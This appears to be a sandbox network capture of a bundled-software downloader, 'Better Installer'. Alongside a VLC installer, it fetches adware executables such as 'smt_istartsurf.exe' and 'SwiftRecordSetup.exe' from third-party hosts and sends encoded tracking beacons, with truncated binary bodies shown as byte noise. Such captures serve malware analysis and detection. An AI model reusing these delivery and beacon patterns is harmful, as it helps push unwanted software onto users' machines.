Sun, 26 Apr 2015 23:55:22 GMT..Content-Type: text/html; charset=utf-8.
.Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP
/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.71 ms","messag
e":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/
0.7.67..Date: Sun, 26 Apr 2015 23:55:22 GMT..Content-Type: text/html; 
charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-P
owered-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.
71 ms","message":"store 1 action and 0 update "}..0..



POST /ocsp HTTP/1.1
Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./...1o..2. ..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Sun, 26 Apr 2015 23:55:27 GMT
Expires: Thu, 30 Apr 2015 23:55:27 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015042
6131121Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
..1o..2. ....20150426131121Z....20150503131121Z0...*.H..............j.
\..........KI.A8b...i.=r......>....cM8]T.....MT..!u...._.i:...4t..v
..?..NO..d.8...]...#.B..f....5.a...b.#.#...$ .". .}....M....p.Bh...H..
b.}.l.f.E.....<.$...C.}.*&...9`.....~....#`..0.&.F.b....o..#g%n6b..
..Vz.b;...jP...aJ.S..U...V..W5..e.|.c.Q0]...H....HTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Sun, 26 Apr 2015 23:55:27 G
MT..Expires: Thu, 30 Apr 2015 23:55:27 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=1..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150426131121Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./...1o..2. ....20150426131121Z....20150503131121Z0...*.H...
...........j.\..........KI.A8b...i.=r......>....cM8]T.....MT..!u...
._.i:...4t..v..?..NO..d.8...]...#.B..f....5.a...b.#.#...$ .". .}....M.
...p.Bh...H..b.}.l.f.E.....<.$...C.}.*&...9`.....~....#`..0.&.F.b..
..o..#g%n6b....Vz.b;...jP...aJ.S..U...V..W5..e.|.c.Q0]...H.....
...
<<< skipped >>>

POST /ocsp HTTP/1.1


Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./..Tj!.T.w...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Sun, 26 Apr 2015 23:55:27 GMT
Expires: Thu, 30 Apr 2015 23:55:27 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015042
6131659Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.Tj!.T.w.....20150426131659Z....20150503131659Z0...*.H.............y9.
..T.41Q3...w!.W.A<...OSmV._...Om.v.V...e.G.x.c. .}l....{..........c
m..a......(:.u&.'..o:I...u.#R_ w.?,...{[email protected]
#.z..:zP.G.%.,'.......S1G..U.....P..Z]S\....f.......g........M..2w..Q.
..Z=r'd.p..*............E....y..U...n..."6....HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Sun, 26 Apr 2015 23:55:27 GMT.
.Expires: Thu, 30 Apr 2015 23:55:27 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=1..0..........0..... .....0......0...0......J......h.v....b..Z.
/..20150426131659Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v.
...b..Z./..Tj!.T.w.....20150426131659Z....20150503131659Z0...*.H......
.......y9...T.41Q3...w!.W.A<...OSmV._...Om.v.V...e.G.x.c. .}l....{.
.........cm..a......(:.u&.'..o:I...u.#R_ w.?,...{[email protected]....
.T.......A#.z..:zP.G.%.,'.......S1G..U.....P..Z]S\....f.......g.......
.M..2w..Q...Z=r'd.p..*............E....y..U...n..."6......
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728164-11456328
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:54 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /3562_4a0d6ef43ecf5ef3093ba32ab20cf026/1.zip HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: dlrkbt247pbk6.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 200 OK
Content-Type: application/zip
Content-Length: 2211133
Connection: keep-alive
Date: Sun, 26 Apr 2015 19:39:23 GMT
Last-Modified: Sun, 26 Apr 2015 19:16:16 GMT
ETag: "358d78624cc346a5d6026c8abc8d05a6"
Accept-Ranges: bytes
Server: AmazonS3
Age: 15359
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: l5vYlIkV4byHS5lyoJiqgAtg72UDkJxuqwErXgAkxRUy-jTdAJsuBw==
PK........F..F.g^.............521.json....o.s.\..[.:?..y....xL..@a....
..w..sN.....^.9....'.t.."....u...........N5..g(.......{.)..Q.!..Dk..ze
f....s.{.kM.S.*:.......6|.&...M..ZWYr.....uA....R/..,...0..........g..
]V3..n.`...}..g_j.......i.n..;.........Ts..C......o.l.'7u..........l..
.z.ZJ......S"Z....f....W..m..^....$m.=...O.Z...k.=..i...`_...;......kV
........V..8?V.;...*......EF...^'...?*..n.r&....o..wv..}\S.,......N...
.4.w...6.......:....s..)......C.eg..4..........~........P.F.E.i....0..
....c.....9..feKn.q.x......y....................*....PK........F..F..3
.e....K......uninstallDlg2.xml.\m.....^.......z.f.N...mo..As..$(..@K..
.L.../...w(Q.d.k9.6^T..."....gH....o..1.'"...,gh[...G.-gV&...X(..E8...
.'.Z.........E.....(........q"sQ.@}=..Fd..X.8.!...Y..........|.o..1..Y
......%; t..hfI...Q.c.....S..8B.~.x..S%....p.G......u..m.R~%..E.......
.{.gp..9..?.'..k.\..I...]........K..B.$...q...5^.]..1...O......s...-.b
..L..M.s......Z.^qy.....ul.!7....N..2....!;.)..'K...t..4..5.O...q.....
....u...9...:iG4.P....Ek.....(..D.C......ng..{.oP.....{....t..nd8.`. .
c.x..!.;.$7........ve.........p4.s.P....C..l=7e.7.......\0"t=,"..(`f..
[email protected]*.6E%#....)..~N..6........1T.(......3.0...f.......7..xb
...v.&..C..q.`)n..e.Y.L1....j.'"$.q.=~..D.4...5Rq.....B.<(...m.Z...
.z>"...7 .fp..J.&..>*....e.mOl.)#.g@.*....?.?.=..8..f.....B..Q.G
.4.......!.!...`.2.V.....%....hQ.-.Q..^{[email protected]............\..:..
Kv.s....../OW.`N6(..&.....(5."....m..C....c.C..?{C^......pbT..*-...j..
F...R.......U..'o.OJUu.]^4..^........x~ I..0[nV....PA.O...8.'.r.BY
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 556640
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........f.>..nm.
.nm..nmoI.m..nm...m..nm...m..nm...m..nm...m..nm...m..nm..om!.nm...m..n
m...m..nm...m..nmRich..nm........PE..L....E7U.........................
.................@.......................................@............
.....................`........`...............b..`....0...:...........
...........................@...............,..........................
..text...,........................... ..`.rdata.. 9.......:...........
.......@[email protected].......,[email protected]........`.....
..(..............@[email protected][email protected].........
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..V3.j...P.u..F......F
....2.....^]...U......V..M..;...i..... .;E.s..E..M..I....s..M.S... ]..
. M.;.w.h@|F.......M. E..M..E.;.s.j.Q........]..F.;.tR...r..........r.
.......u....M....E.QP.........{..r....~..r........u...SP...........U.j
.[;U.wG;.r.......;.r.......RQ..P.r....F....;.r.......;.r........u....M
....E..F;.r.......;.r........u....M...Q..P."....F....;.r.......;.r....
....u...QP......M.....~...N.[r.................h(|F.......U..Q.}...M.u
.;A.viS.Y.VW;.sY .9].wR3.B U....y..r......M....SQ.E.P.&.M..}...3..
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=69580-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 487060
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 69580-556639/556640
.$.`.A..#.................r....$.`.A..I.W.A.D.A.<.A.4.A.,.A.$.A...A
...A..D...D...D...D...D...D...D...D...D...D...D...D...D...D...........
...$.`.A...p.A.x.A...A...A..E.^_........E.^_........F..G..E.^_...I....
..F..G..F..G..E.^_....t1..|9.......u$.........r......$...A......$...A.
.I...........r.... ..$...A..$...A....A.4.A.\.A..F.#..G.............r..
....$...A..I..F.#..G..F.....G..........r......$...A...F.#..G..F..G..F.
....G............V........$...A..I...A...A...A...A...A...A...A...A..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...A
.....A...A.$.A.8.A..E.^_....F..G..E.^_...I..F..G..F..G..E.^_....F..G..
F..G..F..G..E.^_....U..QS.E.....E.d........d......E..]..m..c...[....XY
[email protected].=....
.]..;d......_^[....U.....SVW..E.3.PPP.u..u..u..u..u...*.... .E._^[.E..
.]...U..V..u..N.3..3...j.V.v..v.j..u..v..u...*.... ^]...U....8S.}.#...
[email protected].. A....G..M.3..E..E..E..E..E..E..E..E .E..e
...e...e...e..m.d......E..E.d......E......E..E..E..E...v.........E..E.
P.E..0.U.YY.e...}..t.d.........]...d.........E.d......E.[....U..QS..E.
.H.3M..'[email protected]..@[email protected].
.u..s).... .E..x$.u..u..u......j.j.j.j.j..E.Ph#............E..]..c..k 
..3.@[....U..QSVW.}..G..w..E.... ...u...m...M.N..k...E.9H.}.;H.~....u.
.M..]..u..}..}..E.F.0.E...;_.w.;.v...m....k...E._^[....U...E.V.u....%u
.........F...u..........^]...U....u............;[email protected].@].3.]...U.
.V..t...u.;.....u...t...N.......^]...t...........H.;.t....x..u.^].
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130816-261632
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 130816-261632/523264
Content-Length: 130817
Connection: keep-alive
#./[email protected]}R...;B...,..vgQ4...W..O&....
=.......s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./...
.E..n...........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C...
......w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....
#...J..h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.
6<..M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i...
....)..~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.
[email protected]..`.....i...X.y...1.KQ...w,d.....4Oxn....
... (....6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$.
..l>.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y
......V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G
...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=
.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[.
.[..i....Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e.
.^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......
Zv9.m..P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.
....F...@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v
..?......>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<
  rq.L:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.
G'.B.e..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z
...LVAQd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o
.1{Ue..?C^-................T9P.pb..B#.....0_B....:#....v....8<.
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.57 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=17184493-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 5728164
Content-Range: bytes 17184493-22912656/22912657
Connection: close
Content-Type: application/octet-stream
....r.U...`{..T.........H..3[Cr.-.j.{%..32.....l]...|?.s......L....f.U
...I.(...."..h..........LD..w=.#........8?..1.WT..jJ..uw.ec.L..y._....
>....3~n....-...*.5.4'I.%.......g....$..4k#.8.Rw..........WZ.*.....
......,.......xr.^\%.....Y..I*4..B...C..W..".........5nv...g.....Lf..{
..f2g..o..........8.7..r\....Q.Uu..j..._-..<.G.F<..m.b.$y...x.C.
...z.. .^....n.....m...G..-...Y..1.........mUJs.Z:b...AmZ....^.V9..y..
.ZjD`@v3. .@...(.HS..{R<d%....k.t.....O.`7................\.l....5.
|...Q8`^...!`......o...D..Z_,f*_G..4..."u8......{.v.2q#.t.M].=E..5../.
k.......5.JG.R.J]..&G.......o!..H...i..Z. >.........Zw't.].J.I.H=w.
.[zL..,a..w..S.r.n.v..(...A."......k.gUH.......7I.Dk.R.......].....{..
~b...=<..Tg.tQ.b.U&vcWW.\rD$....[..t..!..S._n.2aI)0...A.A.S..7=..b.
..*6....@.\...J(2..X.k......fx!bt..S.........Ru...,lY...`.76.x..h..E9.
z%..M........U..n.zdu...Ah..jX5....s....)Aw..@J....^!..;....[...^...o.
[email protected]. .........T....._....D.h*..R..D.!1......|.I$.`.uSKO...c.1
h..8h.../.......&.U'.y.....[......Xml.....'..6Q.|...P.......2.p&.k...~
b=.j.s....R.&.Lf.......G`v.. .%...7\P..V..H...h..i...K.....{(.GZ...j..
.H.Y...?.j3;.y....as....V.4.~.F.y..{s."WO..?...(.^;'Q..Bq.nR..T..'..l.
[email protected]%......L2...D=..m.?..7.4l..W..(M.......!..N.2@.(W....?./..c..
BD..n....Y.*.F7...2..Q.Q.s...P0_W.....q ....-s.=[-..%..|......%Z...ag.
.Xp*x.....up.... .~...Tq..E.m48XY=[.hM..G.-.X2G.....(p]..k...4....rY..
.M....q]]RH--.9...........J.R2...h5..E B..$.u..R\YF.Wb>...E.$..{k..
.[N.;.U.#3..?...[...NK>*.!k....&A...s.]...l...._5..X.6h..?T<
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=14320411-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=208740-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 347900
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 208740-556639/556640
u|........trj?S..........u.j/S.)&....... .Pj/S..........tD ..p..F.P...
%G.....G...t!VSP.1....O......G..........G...u.................R...%G..
.........u.......l.........._^3.[.M.3..@.....].j.h4.F.V...............
.u.....G8.....>#......j.V........;.t...j.V........;.t.........Phd.F
.V................;...r...9......................Y....$..@C..>.u.FV
...%G..G..,...h,.F.V. .............G$.!......,.F..I...:.u...t..P.:Q.u.
........u.3........;.tR...$.F...:.u...t..P.:Q.u.........u.3........;.t
"V...%G.....G.;........}....G......h..E....%G.....G.;.u...........h..E
....%G.....G.;.u.....................h,.F.V.B.............G0.;j.SV.9#.
.....G..W..'V...%G..G...V...%G..G....;.u.................Qhd.F.S......
..........;...g...............u.h`|F....%G.....G.;.............9......
.....9..................A...u.9A.t..W..W...v......G4..................
...J....I..G..K.PQ.C...............C.3.;.t".O.;.t.QP.!........u......;
...z...9w...q....C.;...W....O.;...H...QP............C.............9w4u
.9s4...........C.P...%G..C....;.t.P...%G.....C.;.t.P...%G.....C.;.t.P.
..%G.....C.;.t.P...%G.....C ;.t.P...%G.....C(;.t.P...%G.....C,;.t.P...
%G.....................Q...%G....................u..............~..t@.
.........F.u....F..W..O.R.W.Q.O.R.W.Q.O.R......QPh..F.R.......$.......
u;........t,.8.*;.u.9w.........................3....u....>.F..M..._
^3.[.......]....<C..<C..<C..=C..=C..=C..=C.........U...E..M.S
[email protected]. [email protected]. ...3.;.t
..._...^H[][email protected]. [email protected]. ...3.;.u..
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7RT3FsALGJiApIj GXdVcREtCUHeR8YCF3picd9c3AkGezCcoAUR1qA6wWHAZ0LKJ2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLuMJy0xIEki/R/TArjXZXIKNewYKwONFevRrV2mGBDo3Vd0xgaUB0loXwql6nKegU HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7RyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6EUeCMSNo5dvN0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEviQrftX5USa7clTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfaigjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvYQ3fvue/Bfs= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /24100.ashx?e=lOCrbsNL2zULjT49fHfOTDKJmnwOrZTU/WD6e6SZIIExLHUkaU0662DlNcv2CDURJiqKuNvZz53hWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj nwF8xC533Fcga zuhV9q9HNs/H29GLJ7JreFwgDnyxonbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFdjYNzpk/60WtaHP/2RQmZNO2lTXfcfv/8eRV q6iAb6cbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfaigjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvYQ3fvue/Bfs= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /24100.ashx?e=/9ZmISdorEtXP6639e gu8Ir4n93Nx1RL/ATsur77 J4E7mrr1h80pGhRXiiBAM368AF84az5H1IdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPX1K6Tt9USD8HmVvO2Kq2gv hQNbb34rcpq86m/4Uj4Q0LeCgSWX9/6yFzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPuhdSzxiLx/vMc4 zvT5ptYD7bB44XX8DWB/yosJSr3TiAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBTCpzrlNQN2/88/XPfhk4uAtYrMjQJJxJ/7Ecp5K2GVQ32T3l129m2ME8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEu4wnLTEgSSL9H9MCuNdlcgo17BgrA40V69GtXaYYEOjdV3TGBpQHSWhf
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:53 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=s5Ydxb c7o0bk7XUyXGZ5oFc4EnZ34NR0 mctsfeJ2JAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbJWdkttqwmBfb8zyMlAjNJ94BVzIM sbWFAL52sIXt4UeH8s8AG8ECxxc81u2rgCm44UuTa3qd5D7MusukiOxFQnNF1Q0U/LqE9zKYNYKDpAEB1KJjJJfUAE70KA8ZXhbA8YCZx49749T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMykh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fOhuMknV/ek4= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /t.ashx?e=gwZ4/u7hMkJxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdAgLxC0aXqYrYyox39H7ctIMcuYh9yJM1s99dnskKlULVi2s6XsF8NY17e6nA3xYScE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=gwZ4/u7hMkJxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdAgLxC0aXqYrYyox39H7ctIMcuYh9yJM1s99dnskKlULVi2s6XsF8NY17e6nA3xYScE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=gwZ4/u7hMkJxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdAgLxC0aXqYrYyox39H7ctIMcuYh9yJM1s99dnskKlULVi2s6XsF8NY17e6nA3xYScE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
